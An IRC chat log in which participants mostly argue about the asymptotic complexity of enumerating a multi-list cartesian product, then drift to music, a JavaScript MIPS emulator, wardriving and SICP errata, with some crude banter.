04:55:35 <oklopol> when he had his read sicp rant
04:55:36 <augur> i told ehird i WATCHED it twice.
04:56:01 <augur> youll need to fuck me if you want me to forgive you.
04:56:26 <oklopol> first two chapters of sicp have been a complete waste of time, i should've started at 3, but i just can't read a book partially :<
04:56:50 <augur> oklopol, whats your opinion of a programming language where you have to take certain core pieces of code, all of which are full programs, and compose them together to get other programs
04:56:55 <augur> rather than just write arbitrary code?
04:57:25 <oklopol> what kind of progs would those be
04:57:39 <oklopol> like building simple constructs from complex ones?
04:57:47 <augur> other way around :P
04:58:00 <oklopol> well the other way around is how programming usually works
04:58:09 <augur> given two syntactically and semantically acceptable programs A, B
04:58:37 <augur> where A = aXb, B = cXd
04:59:11 <augur> where X is some piece of code thats duplicated, and the small letters are other pieces of code that are not duplicated
04:59:57 <augur> sorry reverse that :P
05:00:35 <augur> and itll construct return xaby
05:00:52 <augur> and that would be the only way you could generate code
05:01:06 <oklopol> no idea what that means, that's just a well-known group automorphism
05:01:19 <augur> take some finite number of core grammatical pieces of code and compose them together in some restricted fashion
05:01:48 <oklopol> well i guess i might know where you're going with this
05:01:53 <oklopol> might want some kinda example tho
05:02:02 <augur> i dont know quite how itd look, to be honest
05:02:09 <augur> im just groping at ideas here, you know
05:02:36 <augur> im interested in what sorts of things you could get with that
05:03:21 <augur> where absolutely every valid program is either a primitive program, or is composed of other valid programs
05:03:31 <augur> in some fashion like that
05:04:37 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx
05:05:01 <augur> didnt i link that already?
05:06:59 <augur> on the number of actual lowest level elements it needs to iterate over.
05:07:22 <oklopol> O(n^18) is a superset of O(n).
05:07:33 -!- Patashu has joined.
05:07:49 <augur> except noone cares
05:08:03 <coppro> its O(n*o*p*q*r*s*t*u*v*w*x*y*z*aa*ab*ac*ad*LPVAlgorithmIterationBounds)
05:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx
05:10:05 <oklopol> well nothing really, i just read it, and realized it wasn't just 18 subparts of the same components.
05:10:27 <oklopol> assumed it was like for a in ...: for b in a: for c in b: ...
05:10:28 <Patashu> but it does something for every point in this 18 dimensional space
05:17:53 <oklopol> <augur> on the number of actual lowest level elements it needs to iterate over. <<< kinda like quicksort is O(n) on the number of comparisons it needs to do
05:18:24 <oklopol> it needs to do exactly as many as it needs to do
05:18:24 <pikhq> God, a bare minimum of 2^18 function calls.
05:18:39 <augur> oklopol: right, which is the number of lowest level elements. :P
05:18:39 <oklopol> i'm pretty sure most are singletons
05:19:00 <augur> pikhq: no it wouldnt
05:19:22 <oklopol> augur: i'm just saying O(n^18) is a better way to describe that than O(n), because there are 18 unknowns, and you iterate over their cartesian product
05:19:31 <pikhq> If it's all singleton lists, 1^18. :P
05:19:55 <augur> but the number of unknowns is irrelevant to the issue here, oklopol
05:20:09 <augur> the only thing that matters is the number of lowest level views that its accessing
05:20:28 <augur> the fact that the views are at the bottom of a deep view hierarchy is irrelevant to that fact.
05:20:56 <oklopol> which is determined by the product of the amounts of values for the 18 lists
05:21:36 <augur> but thats not the same as O(n^18)
05:22:00 <augur> let me put it this way
05:22:08 <augur> lets construct a smaller fictional model
05:22:12 <augur> where its just three loops deep
05:22:30 <augur> this should be O(n^3) by your reasoning
05:22:36 <augur> so what is n counting?
05:23:16 <augur> ok, so lets think about this for a second
05:23:50 <augur> what you're saying is
05:24:13 <augur> ok. i see where you're coming from.
05:24:38 <oklopol> n is the size of input, that's what it usually is.
05:24:59 <augur> but the inputs to the function at the bottom are the total number of items at the bottom
05:25:09 <oklopol> what do you mean at the bottom
05:25:13 <augur> of this view hierarchy
05:25:26 <augur> did you look at the code?
05:25:38 <oklopol> it's enumerating a cartesian product
05:26:24 <augur> well, yes, it is, ok. :P
05:26:36 <pikhq> Obviously, the code is O(n*o*p).
05:26:44 <pikhq> And in no fucking way is it linear.
05:26:46 <oklopol> <oklopol> well nothing really, i just read it, and realized it wasn't just 18 subparts of the same components. <<< me realizing just that
05:27:15 <oklopol> <Patashu> but it does something for every point in this 18 dimensional space <<< Patashu saying it in english.
05:27:33 <augur> enumerating a cartesian product is not "worst case" O(m^n) where m is the size of the largest space being crossed
05:27:59 <oklopol> i'm not sure what you mean
05:28:01 <augur> its worst case O(m^n) only in the case where all of the spaces are of size m
05:28:50 <oklopol> i don't see how that's relevant, given no extra information about the sizes.
05:29:01 <oklopol> you could just as well assume we're just sorting sorted lists
05:29:01 <augur> its PRECISELY (best, worst, and average) O(n) where n is the total number of tuples in the final product, where n = n0*n1*...*ni
05:29:10 <augur> no oklopol, you couldnt
05:29:26 <pikhq> I prefer saying O(abcdefghijklmnopqr).
05:30:02 <augur> because the description i gave of the scenario perfectly describes the actual amount of time the algorithm will take in relation to easily determinable and relevant factors
05:30:26 <augur> while your example of quicksort being O(n) over the number of compares is not easily determinable nor is it relevant
05:30:55 <augur> given the (KNOWN) sizes of all the sets involved, its trivial to calculate before the operation how long itll take
05:31:06 <augur> the same cannot be said about the quicksort algorithm
05:31:21 <augur> when O(n) over the number of compares.
05:31:23 <oklopol> all i'm saying is it's theta(n^18) on sum of sizes.
05:32:11 <augur> its only theta(n^18) because you're constructing an enormous maximum upper bound curve thats completely unnecessary
05:32:18 <augur> its theta(infinity) too by that very same logic
05:32:39 <augur> because theta(n^18) is a subset of theta(infinity)
05:32:42 <oklopol> i'm getting kinda tired of this
05:33:15 <oklopol> let me think a sec, i've actually kinda stopped thinking
05:33:21 <oklopol> i do that when i get annoyed with you
05:33:46 <augur> your problem is not that you stop thinking when you get annoyed with me
05:33:50 <augur> its that you never start thinking.
05:34:04 <oklopol> it's not not omega(infinity)
05:34:19 <augur> THE POINT IS OKLOPOL
05:34:34 <augur> saying its O(n^18) is meaningless.
05:34:39 <pikhq> COMPUTER SCIENCE IS NP-HARD.
05:34:57 <oklopol> it's not meaningless, and i'm saying theta, not ordo
05:35:07 <augur> there is precisely one case where it will ever actually be O(n^18), and that same case is captured in the more useful description i gave.
05:35:46 <oklopol> won't render right in here
05:35:48 <augur> the algorithm is EXACTLY, O(n) over the number of tuples in the final cross product.
05:36:10 <Patashu> you guys are such nerds, just saying
05:36:19 <oklopol> i should probably stop talking to augur on non-private medias, he's such an idiot
05:36:36 <augur> right, because that makes you correct, oklopol
05:36:43 <augur> oh wait, it doesnt.
05:36:49 <oklopol> here, that is, usually nice on skype.
05:37:02 <augur> thats because on skype you dont say stupid shit
05:37:41 <augur> to say that this algorithm is O(n^18) over the maximum size of the tuples is an overstatement to say the least.
05:37:44 <Patashu> that isn't the size of the input data
05:38:04 <Patashu> I don't think that's how O() works
05:38:26 <augur> but it IS the size of the input data.
05:38:33 <augur> you have some number of sets
05:38:48 <augur> you just product over their sizes and thats the amount of time its going to take.
05:38:48 <oklopol> Patashu: he's basically saying you shouldn't tell the algo's complexity on the size of input, because it's better described by the separate variables given. which is perfectly true.
05:39:03 <augur> no, oklopol, you're not going by the size of inputs either
05:39:07 <augur> you're doing the exact same thing i am
05:39:27 <oklopol> but say you had a thousand of those lists, i would definitely prefer O(n^1000)
05:39:36 <Patashu> but you're not sending it a complete list of tuples
05:39:38 <augur> except you're assume that to accurately describe the worst case scenario, you have to assume all the lists are the same size
05:39:40 <Patashu> you're sending it separate lists
05:39:42 <oklopol> to O(variable1*variable2*...*variable1000)
05:39:44 <augur> you do not need to assume that.
05:40:04 <augur> yes, it makes tuples. it makes a completely predictable number of tuples.
05:40:24 <augur> oklopol is just assuming that number is not predictable, and therefore hes assuming the number is larger than it really is
05:40:39 <augur> if i give you the lists [1] [2] [3,4,5,6,7,8]
05:40:47 <augur> you know precisely how long itll take to construct the cross product
05:40:57 <augur> you do not need to assume that all three lists are 6 elements long
05:41:04 <augur> and that that is the WORST CASE scenario for this algorithm
05:41:11 <augur> because you know precisely how long itll take
05:43:24 <oklopol> so has anyone proved freecell np-complete
05:43:38 <oklopol> i did spider solitaire a few days ago
05:44:38 <oklopol> (with decks of any size & any number of stacks)
05:45:35 <pikhq> oklopol: In the case of a thousand-dimensional space, I would prefer to say O(n0*n1*...*n999*n1000)
05:46:16 <augur> concession accepted.
05:47:28 <pikhq> GregorR: Just listening to Opus 10 for the first time. Nice work.
05:48:03 <pikhq> Gregor's 10th Opus.
05:48:24 <pikhq> http://codu.org/music.php
05:48:30 <pikhq> Has 5-10 and a few other pieces.
05:48:44 <pikhq> Not listened to the 9th, since I don't happen to have a MIDI setup working.
05:48:50 <oklopol> i've always wanted to hear GregorR's stuff
05:49:28 <oklopol> was hoping played on actual piano
05:49:35 -!- Co-Run has joined.
05:49:49 -!- Corun has quit (Read error: 104 (Connection reset by peer)).
05:50:09 <pikhq> All but Opus 9 are him playing on the piano.
05:50:29 <GregorR> <oklopol> i've always wanted to hear GregorR's stuff // it's not like it's hidden :P
05:51:05 <oklopol> i was gonna say "well have you heard my unhidden stuff", then realized you probably haven't always wanted to hear my stuff :)
05:54:04 -!- immibis has joined.
05:54:52 <pikhq> Out of curiosity, anyone with a good MIDI setup willing to do something with Opus 9?
05:54:52 * immibis * myndzi myndzifmyndzif immibisf immibis myndzifimmibisf immibisfmyndzif
05:55:09 <oklopol> what does "do something with" mean?
05:55:22 <pikhq> Make an Ogg, really.
05:55:37 <pikhq> immibis: http://codu.org/music.php
05:55:53 <pikhq> Make an Ogg of it playing.
05:56:33 <pikhq> Dunno. I haven't heard it, since I cannot has MIDI.
05:57:27 <pikhq> Heck, playing it would be nice, too...
05:58:40 <oklopol> don't feel like reading it
05:59:32 <GregorR> pikhq: I have good MIDI now (not when I made that ogg), but its cello sucks a LOT >_<
06:00:44 <pikhq> Note, you don't have an Ogg of it posted. :P
06:03:22 * pikhq likes Color Matcher.
06:03:49 <augur> what the fuck barbecue
06:04:04 <GregorR> Everybody likes color matcher.
06:04:13 <augur> whats color matcher
06:04:48 <GregorR> http://codu.org/colormatch/
06:04:50 <pikhq> http://codu.org/colormatch/
06:05:33 <GregorR> "Oh yeah that shit who cares"
06:06:32 <pikhq> There's a lot of cool stuff on codu.org
06:07:38 <pikhq> GregorR: Shaddup, you're not as awesome as Gregor.
06:07:45 <oklopol> yes u rite, cuz you awesome!
06:08:47 <pikhq> Holy fuck, you've done more with JSMIPS.
06:19:51 <GregorR> Oh hooooooooooly fuuuuuuuuuuuuck
06:20:59 <immibis> wtf? a javascript mips emulator?
06:21:53 <GregorR> immibis: A /general-purpose/ JS MIPS emulator :P
06:34:41 <oklopol> <augur> concession accepted. <<< no i just ignored you
06:35:21 <augur> theres nothing to respond to
06:35:37 <oklopol> i thought you were implying i admitted i had been wrong
06:35:57 <augur> not in so many words
06:36:32 <augur> you admitted my description was preferable for very large cross products.
06:37:06 <augur> which effectively means that where the actual growth rate is concerned, you prefer my version
06:37:20 <augur> and since big-o notation is precisely for actual growth rate, you prefer my version period.
06:37:23 <oklopol> i admitted the product thing was preferable from the beginning, just said O(n) was retarded, and that O(n^18) is in no way a stretch, just how you'd express it with one variable.
06:37:25 <augur> thus, concession accepted.
06:37:49 <augur> but O(n^18) is NOT how you'd express it with one variable
06:38:03 <oklopol> sure is, if n is the size of input, it's O(n^18)
06:38:16 <augur> if you really want to express it strictly with one variable, O(sum[0,n](|X[n]|))
06:38:18 <oklopol> and you can't get a smaller ordo
06:38:34 <augur> sorry, that should be product not sum**
06:39:13 <oklopol> yours is how you'd express it given the sizes separately
06:39:49 <augur> yours is exactly the same as mine, only you're forcing all the sets to be the same size
06:39:55 <augur> to make some stupid "worst case" analysis
06:39:57 <oklopol> given a list of lists, with n elements taken together, it's O(n^18)
06:40:04 <oklopol> it's not forcing them to be the same size
06:40:06 <augur> which is completely unnecessary.
06:40:10 <augur> yes it is, oklopol
06:40:41 <augur> you're assuming you have 18 lists, each of size n
06:41:14 <oklopol> i'm assuming i have 18 lists, with n elements taken together
06:41:29 <augur> what does "n elements taken together" mean
06:41:33 <Patashu> you guys still talking about this
06:41:45 <augur> no, oklopol is still being stupid
06:41:45 <oklopol> like, if all are size 1, then n would be 18
06:41:53 <Patashu> you guys still talking about this < so this is correct
06:41:55 <oklopol> Patashu: i had to take a break to calm down
06:41:59 <oklopol> augur: what else could n be?
06:41:59 <augur> n is the total number of elements in the union over the sets?
06:42:10 <augur> lets think about this
06:42:16 <augur> suppose we have THREE lists instead of 18
06:42:26 <augur> each having 3 elements
06:42:50 <augur> well, lets say two elements, to avoid power-multiple confusion
06:43:09 <augur> so in your version it should take 2^3 = 8 steps
06:43:37 <oklopol> what's the better ordo then?
06:43:43 <augur> it should take 6^3 steps
06:43:45 <oklopol> you haven't given me one, just called me an idiot
06:43:53 <augur> i did give you one oklopol, you're just blind
06:43:57 <augur> but lets continue with this example
06:44:05 <augur> three lists, each with two elements.
06:44:18 <oklopol> i want the ordo, and i want a proof
06:44:40 <augur> so it should be 6^3 or 216 steps
06:45:13 <oklopol> what's your definition of ordo?
06:45:15 <augur> im using your fucking equation oklopol
06:45:29 <oklopol> and what's the ordo you said is better than mine
06:45:31 <augur> O(n^exp) where n is the size of the union of the sets, and exp is the number of sets
06:46:02 <augur> we'll get there in a second, oklopol
06:46:05 <augur> answer the question first
06:46:14 <oklopol> i'm only interested in examples once i know what you're even trying to say
06:46:43 <augur> O(n) over the number of items in the cross product, where n = product[0,|X|](X[i])
06:47:07 <oklopol> that's not an ordo on the size of input
06:47:19 <augur> no, its not, but im not doing order over the size of the input
06:47:47 <oklopol> yeah, augur, what's an ordo?
06:48:03 <oklopol> i don't actually know you know, just assume
06:48:29 <augur> the order of an algorithm is the growth rate of an algorithm relative to some quantity
06:48:42 <augur> "ordo" is oklopols typo.
06:48:52 <oklopol> oh it's not ordo in english
06:48:59 <oklopol> i've been typoing for years then :)
06:49:14 <augur> which means effectively its english
06:49:28 <oklopol> i thought both ordo and order are okay
06:49:35 <augur> they might be used in CS, i dont know
06:49:42 <augur> getting back to the topic
06:49:49 <oklopol> usually they use O, so i don't know,.
06:50:45 <augur> O(n^m) is not worst case. its not even least upper bound.
06:50:50 <augur> its just completely wrong.
06:50:59 <augur> no, oklopol, its not
06:51:03 <oklopol> can you give me a better one?
06:51:27 <augur> because the algorithm is dependent on the n i gave
06:51:34 <augur> and has nothing to do with the n's and m's you gave
06:51:50 <oklopol> it's the worst case, (n/3) * (n/3) * (n/3) = n^3 / 27, so clearly it's omega(n^3)
06:52:08 <oklopol> that's for an even distribution of the elements
06:52:52 <augur> except the function does not take n^3 time
06:52:53 <oklopol> i just proved it's theta(n^|elems|)
06:53:39 <augur> the only time it ever takes that amount of time is in precisely that one situation.
06:54:24 <oklopol> that statement means nothing to me
06:54:46 <oklopol> precisely what situation, it's a fucking tight bound
06:54:54 <augur> [1], [1], [1], [1], [1]
06:55:23 <augur> your description says this should take 5^5 steps.
06:55:33 <augur> its n^5 time in your algorithm
06:56:05 <augur> but we know its not. its O(n) time over the number of elements in the union, precisely so.
06:56:14 <oklopol> for n/5 elements it takes (n^5 / 5^5) time in the worst case
06:56:19 <augur> (elements in the append**)
06:56:43 <augur> and yet its n not n^5, in the worst case.
06:57:21 <oklopol> worst case of having one element in each list?
06:57:23 <augur> for set sizes of one, its O(n)
06:57:36 <oklopol> yeah true, kinda like quicksort is O(1) for empty lists
06:58:29 <oklopol> really i don't understand what you're arguing, you don't seem to be saying my math is wrong
06:58:42 <augur> no, what im saying is youre measuring on the wrong fucking variables.
06:59:09 <augur> because there are precise fits where best-time = worst-time = average-time with the right variables.
06:59:24 <oklopol> and there are tight bounds using just n
06:59:49 <oklopol> for constant amount of variables
06:59:58 <augur> not at all, yours is merely constant multiple bounded for even distribution
07:00:28 <oklopol> yes, simple cases aren't worst cases
07:00:47 <augur> you're right, so we should ignore simple cases and look at all cases.
07:01:25 <augur> youre using two variables, and your description gives completely inaccurate predictions of performance for those numbers.
07:01:27 <oklopol> we're talking complexity, it's always about the hardest cases
07:01:40 <augur> yes, and yours is NOT the hardest case.
07:01:53 <oklopol> there are harder cases than even distribution?
07:01:54 <augur> the hardest case, in a cross product, is the largest possible cross product
07:02:05 <augur> in yours? yes. yours predicts it.
07:02:08 <Patashu> which is when you have equal distribution isn't it?
07:03:15 <augur> when its equal over the maximum, yes, sure. and in that precise case his equation is exactly the same as mine, ignoring notational differences.
07:03:40 <augur> but his is not worst case for arbitrary n and m
07:03:56 <augur> its WRONG is what it is
07:04:16 <augur> it has nothing to do with the nested loops
07:04:23 <augur> neither does yours
07:04:48 <augur> the HAPPENSTANCE fact that it can get a SINGLE case correct is irrelevant
07:05:11 <augur> for arbitrary n and m, yours is not the worst-case order for the nested loops.
07:05:44 <oklopol> if you have n elements arbitrarily divided in m lists, the cartesian product is O(n^m)
07:06:52 <augur> unless by that you mean "O(n^m) is strictly above the order of the cartesian product, but is not fitted at all"
07:07:12 <augur> in which case that amounts to saying the cartesian product is O(infinity)
07:07:22 <oklopol> i'm saying it's theta(n^m)
07:07:38 <oklopol> i should probably consistently say so, true.
07:08:29 <oklopol> if you want a tighter bound than a constant multiple, then yeah, just number of elements in the union isn't enough
07:08:39 <oklopol> but then why would we be talking about order
07:09:10 <augur> because we're talking about how long it takes to compute the product
07:09:17 <augur> which is precisely determined by the size of the product
07:10:05 <augur> also, hold on while i actually try to plot these graphs just to see if you're correct about it being THETA(n^m)
07:10:58 <oklopol> hardest case is always even distribution, sizes (n/m), ..., (n/m), that is, n^m / m^m, which for a constant m is theta(n^m)
07:11:10 <oklopol> i don't see what plotting will prove, but have fun
07:13:32 <augur> lets consider a simple case where m = 2
07:13:43 <augur> just to simplify the proof that you're wrong.
07:14:24 <augur> well we can do it otherwise actually, i thin
07:14:58 <oklopol> do you want the proof for the special case of m=2?
07:15:07 <oklopol> i'm sure it's hard to put the numbers in there yourself
07:15:51 <augur> if you're not going to read what i say, its hard to make snarky comments without making yourself look like a fool.
07:15:54 <augur> keep that in mind.
07:16:16 -!- Co-Run has changed nick to Corun.
07:16:33 <oklopol> i just don't see what you're trying to accomplish by finding a counter-example to a proof, but not showing what's wrong with it
07:16:47 <augur> im not trying to find a counter example
07:16:59 <augur> see this is why you should read what you should read before you speak
07:17:11 <augur> i said we could do it generally, not with particular counter examples.
07:18:14 <augur> im thinking of how to construct the proof in a way that you will accept.
07:19:01 <augur> oh i will. i will take my time.
07:19:11 <augur> and when im done, you'll be just as wrong.
07:21:11 <augur> yes, limiting this to two lists for a simple proof.
07:21:28 <augur> if your lists are size a and b, respectively
07:21:40 <augur> actual time is a*b, precisely.
07:21:57 <augur> your time is theta (a+b)^2
07:22:45 <augur> but there is no c such that c(a+b)^2 < a*b for all a, b
07:23:34 <augur> a*b is a simple hyperbolic saddle
07:23:43 <oklopol> a<n=a+b, b<n=a+b, therefore a^2+2ab+b^2 < n^2 + 2n^2 + n^2 = 4n^2
07:24:45 <oklopol> why should it be less than a*b?
07:24:53 <augur> because thats what theta means?
07:25:03 <augur> Theta(n) means that its bounded above AND below
07:25:16 <oklopol> i said theta(n^2), which is theta((a+b)^2)
07:25:49 <augur> and a*b is not bounded below by (a+b)^2
07:27:05 <augur> except for c = 0, ofcourse.
07:28:12 <augur> now, in real terms, since we're ranging over N not R, it might be. im not sure in that space.
07:28:27 <oklopol> <augur> but there is no c such that c(a+b)^2 < a*b for all a, b <<< right, of course there isn't, but all we need is for there to be such a worst case for every n that it it is
07:28:52 <augur> oklopol, that is not what theta (a+b)^2 means.
07:30:54 <augur> i would also point out that the nested loops version has varying time depending on the sorting of the items. assuming presorting from lowest to highest list size, the algorithm gets a (minor) improvement
07:31:04 <oklopol> no, but it is what theta(n^2) means, the *worst cases* of the algorithm, for input size n, n^2 sandwiches them
07:31:35 <augur> because n^2 == (a+b)^2
07:31:51 <oklopol> worst cases for given a and b where a+b=n are different than those for given n
07:32:10 <augur> a+b = n in all cases, oklopol.
07:34:05 <augur> now, i think i can see what you're trying to do.
07:35:00 <augur> and if im right, you're simply abusing the terms worst case.
07:35:03 <oklopol> basically you're not taking worst cases for a given n, if you separate it into a and b such that a+b=n
07:35:15 <oklopol> you're taking the worst case of a given a and b
07:35:18 <augur> see, this is where you're abusing the terms worst case.
07:35:38 <augur> in your equation, you have these two variables. this is inescapable.
07:35:56 <augur> you cannot simply collapse them into one and then ignore the fact that they're two independent variables
07:37:13 <augur> so your "worst case" is the worst case curve for the algorithm ignoring the actual equation you used and instead treating it as tho you're not doing a cartesian product
07:38:04 <augur> and yes, i agree, in that particular case, you're right that cn^2 is strictly lower than (a*b)^2
07:38:26 <augur> but there is also a c where they are equal, i believe.
07:40:04 <augur> on that i could be wrong, really
07:40:05 <oklopol> i was going by a definition of omega that for a given n, there is such an input, |input|=n, that T(input)>f(n).
07:40:24 <oklopol> if that is wrong, then in fact i was wrong, and it seems it is wrong.
07:40:52 <augur> i dont even know what that definition is saying
07:41:00 <augur> Omega means strictly bound below
07:41:19 <oklopol> T(input) means amount of steps, and i should've said T(input)>cf(n) for some c>0
07:41:30 <augur> and since your equation, and the function, is two dimension, its false that it is strictly bound below by (a+b)^2
07:41:32 <oklopol> |input| is the size of input
07:44:12 <oklopol> <augur> Omega means strictly bound below <<< yeah but does it mean worst case is bound from below, or that simplest case is bound from below?
07:44:26 <augur> it means the whole thing is bounded.
07:44:51 <oklopol> and what does that mean exactly? that for all inputs, it's bounded from below?
07:44:59 <augur> the whole function.
07:45:13 <oklopol> then i have a different definition.
07:45:25 <tetha> then your definition is wrong
07:45:46 <oklopol> so... bubblesort doesn't have a theta bound?
07:45:59 <oklopol> because it's O(n) for sorted input
07:46:07 <augur> O(n) is just upper bound.
07:46:45 <oklopol> i'm pretty sure that's a stupid definition
07:47:20 <augur> there is no worst case for a cartesian product
07:47:21 <oklopol> probably it's not a stupid definition
07:47:36 <augur> theyre all the same.
07:48:12 <augur> the way you're going by worst case there is
07:48:23 <augur> given some input of size whatver to be sorted
07:48:37 <augur> what is the WORST possible arrangement that is possible?
07:49:07 <immibis> for bubble sort i think it's sorted in reverse order
07:49:12 <augur> sure, but theres no way to define that on a cartesian product
07:49:16 <oklopol> anyway i'm acknowledging i'm wrong about omega, and therefore about theta too
07:49:40 <augur> because there is NO partition of n elements that will take longer than any other partition of n elements
07:50:06 <augur> no, there might be, sorry :D
07:50:11 <oklopol> the worst case is even distribution
07:50:41 <oklopol> anyway if i have a fundamental definition wrong (which i still have a hard time believing), i'm not judging you for that error.
07:51:31 <augur> then in the worst case, it is theta n^2, yes.
07:52:17 <augur> and in that case it is also precisely n^2
07:52:38 <augur> which i said earlier.
07:53:41 <augur> regardless, it is O(n) time over the number of elements in the cross product
07:55:12 <augur> not just in worst case, precisely.
07:55:48 <oklopol> LOL i just realized where the problem probably lies: omega doesn't define whether it's worst case or simplest case, it's just about functions :P
07:55:57 <oklopol> in which case we'd both be right
07:57:19 <oklopol> i can't really think on irc, if someone's attacking me.
07:58:11 <augur> then you should get out of academia
07:58:27 <augur> maybe, but as we all know, the university is dooms, and irc will supplant it!
07:58:31 <oklopol> i don't know what's so different about irc
07:58:41 <augur> its text. you have more time to think.
07:58:44 <augur> thinking fucks people up!
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:04 <oklopol> maybe! or maybe it's the fact i need to start answering right away, or they might just assume i'm not going to answer.
08:00:10 <oklopol> which doesn't happen irl, because they see me
08:01:21 <oklopol> usually it turns out i'm right, but i have to leave irc for a few minutes to see why.
08:01:39 <oklopol> "i'm right, but no time to explain why"
08:02:55 <oklopol> ^ what my brain says to me during a heated antidiscussion.
08:03:17 <augur> lets just have makeup sex
08:03:29 <augur> all this talk is making me weary.
08:03:48 <oklopol> i'm calm again, so i guess i'd prefer reading
08:04:42 <oklopol> i'm pretty sure you're too far from me for that :)
08:04:53 <oklopol> since no one knows where i am, not even me
08:05:04 <augur> but then you surely might be closer!
08:06:12 <coppro> the World Champion's from Finland!
08:06:54 <oklopol> finland, yes, but i'm not where i live.
08:07:59 <augur> are you a wanted criminal?
08:08:05 <oklopol> well i'm not really hidden, i'm just not home.
08:08:13 <fizzie> Hidden oklopol, crouching augur.
08:08:20 <oklopol> and no, but i thought about telling everyone here i killed a man and went to jail.
08:08:25 <augur> yes, crouching in front of hidden oklopol
08:08:32 <augur> ill leave the rest to your imaginations.
08:09:03 <augur> http://en.wikipedia.org/wiki/Wardriving
08:09:06 <augur> Wardriving is the act of searching for Wi-Fi wireless networks by a person in a moving vehicle, using a portable computer or PDA.
08:09:27 <oklopol> oh, that's actually useful
08:09:43 <oklopol> THANK YOU FOR EXPANDING MY HEAD
08:09:46 <augur> someone should do a google-maps addon with wifi signal strength
08:10:17 <coppro> they should add that into streetview
08:10:21 <coppro> just to irritate the privacy guys more
08:10:59 <augur> lol nah, an overlay would be better
08:11:15 <coppro> not the actual software
08:11:29 <coppro> the cars for streetview
08:11:33 <coppro> should get wifi strength
08:11:44 <coppro> while they take pictures that irritate governments
08:12:00 <augur> use full sentences please
08:12:10 <augur> your ideas are fragmented and hard to grasp
08:12:58 <coppro> Yes, because I was hoping that you'd have figured it out by the end of each fragment
08:13:08 <coppro> Streetview has cars that drive around taking pictures
08:13:17 <coppro> Those cars should also take wifi strnegth
08:13:21 <augur> no, google has cars that drive around
08:13:28 <augur> streetview has pictures taken by those cars.
08:13:54 <oklopol> do those cars have humans inside
08:13:58 <augur> and the maps would display this data like any other google maps overlays
08:13:59 <immibis> "$ man 3 sleep" -> "No manual entry for sleep in section 3. See 'man 7 undocumented' for help when manual pages are not available" -> "$ man 7 undocumented" -> "No manual entry for undocumented in section 7"
08:14:05 <augur> oklopol: no, we've imported robot cars from japan
08:14:34 <immibis> are robot cars even legal (although you are probably in a different country to me)
08:14:47 <immibis> indeed you're both in different countries from eahc other
08:14:54 <oklopol> not here, probably not anywhere
08:15:06 <oklopol> well probably somewhere, but anyway.
08:15:38 <tetha> from what I know, a car is allowed to drive automatically as long as someone is on the drivers seat
08:16:00 <oklopol> that sounds more plausible
08:17:37 <augur> the google streetview cars are piloted.
08:28:18 <oklopol> okokokokokokokokokokokokokokoko
08:28:23 <lament> okokokokokokokokoko\o/okoko
08:28:38 <oklopol> i hope that was just delay on my screen
08:29:29 <oklopol> mainly because it failed the first one
08:30:04 <oklopol> i can't paste multiple lines
08:30:23 <oklopol> body was detached from the head
08:30:51 <fizzie> It "fails" if you use an IRC thing that aligns stuff so that the beginnings of messages match up, instead of the beginnings of nicknames.
08:31:09 <oklopol> oh i think i heard GregorR say that, had no idea about context, was just skimming
08:31:28 <fizzie> Though I guess that doesn't explain failing that lament thing, since their nicknames are equally long.
08:31:47 <oklopol> also this thing matches beginnings
08:33:00 <lament> are y\o/u using a pr\o/p\o/rti\o/nal f\o/nt?
08:33:30 <oklopol> are you questioning my sexuality
08:33:39 * lament sings Infected Mushroom
08:34:05 <lament> i'm becoming insane, insane, insane, insane, insane, i'm becoming insane, insane, insane, insane, insane, i'm becoming insane, insane, insane, insane, insane, i'm becoming insane, insane, insane, insane, insane
08:34:54 <lament> voy perdiendo, perdiendo, voy perdiendo, perdiendo, voy perdiendo, perdiendo, voy perdiendo, perdiendo
08:35:29 <oklopol> i think it's voy is become
08:35:37 <oklopol> i think ver or something is become
08:35:53 <lament> i think it's probably toy
08:36:23 <oklopol> i don't know what toy means, but i'm assuming that should mean the same thing as the english one
08:36:33 <lament> infected mushroom is coming to my city - ten days after i leave :(
08:38:46 <augur> infected mushroom is psychedelic music i think
08:39:22 <Gracenotes> some goa influence too. They do have some traditional-y techno trance though
08:39:24 -!- tombom has joined.
08:39:40 <augur> my god is Erez Eisen tasty
08:40:06 <oklopol> would just like to point out once again that genres are stupid, mainly because i don't know them.
08:40:07 <lament> i can't hear any goa influence there
08:40:24 <lament> goa is boring shitty music that uses indian scales.
08:40:34 <lament> infected mushroom is awesome cool shit that uses israeli scales.
08:41:04 <augur> is gracenotes a person or a bot?
08:41:05 <Gracenotes> they're quite superficially similar, related to major phrygian mode
08:41:14 <oklopol> musical shit would've been a better term
08:41:28 <lament> Gracenotes: yes but it's not an influence
08:41:44 <Gracenotes> lament: I dunno. I think I hear it in the instrumentation.
08:41:48 <augur> i should listen to infected mushroom more
08:41:49 <lament> Gracenotes: infected mushroom is pretty clearly influenced by israeli music
08:42:05 <lament> which is where that scale is coming from
08:42:13 <augur> that would make sense
08:42:26 <augur> since Erez Eisen and whoever the other guy is are israeli :p
08:42:35 <lament> Gracenotes: mushroom is way more varied though
08:43:12 <augur> i enjoy goa. but only certain pieces.
08:43:15 <augur> much like everything else.
08:44:09 <lament> the impression i got from goa
08:44:11 <Gracenotes> but I really like Juno Reactor's adoption of some goa themes
08:44:33 <lament> was that they were just trying to do the same thing traditional indian music already does, but much more poorly
08:45:05 <lament> (goa much more poorly than traditional)
08:45:17 * Gracenotes wonders what traditional indian music "does"
08:45:46 <Gracenotes> speaking of which, you like Juno Reactor somewhat?
08:46:27 <oklopol> this seems like a good time to answer, augur: freecell is a game that comes with windows, deck is randomized in a few stacks all cards showing, and you need to dig up all suits in their separate stacks in ascending order with a few rules constraining moves.
08:46:32 <Gracenotes> yeah, lots of bands out there :) I first heard them when they collaborated with The Matrix soundtrack producers
08:46:46 <Gracenotes> they were the ones who wrote the great car chase music in the 2nd movie
08:46:59 <oklopol> it's like a card game, a solitaire
08:48:23 <oklopol> freecell is good for when i want to feel smart without thinking.
08:48:34 <oklopol> well not feel smart, more like waste time
08:48:55 <lament> when i want to feel smart, i go to a programming channel that isn't #haskell
08:49:38 <lament> oklopol: i was just reading it today
08:50:21 <oklopol> i want someone to tell me i didn't dream all the tons of errors that wouldn't show up in simple test runs, but are so blazingly obvious they make the reader cry
08:50:40 <oklopol> well not tons, but at least 3!
08:51:02 <lament> i saw one but it was just a wrong variable name
08:51:17 <oklopol> first 200 pages are mostly error-free
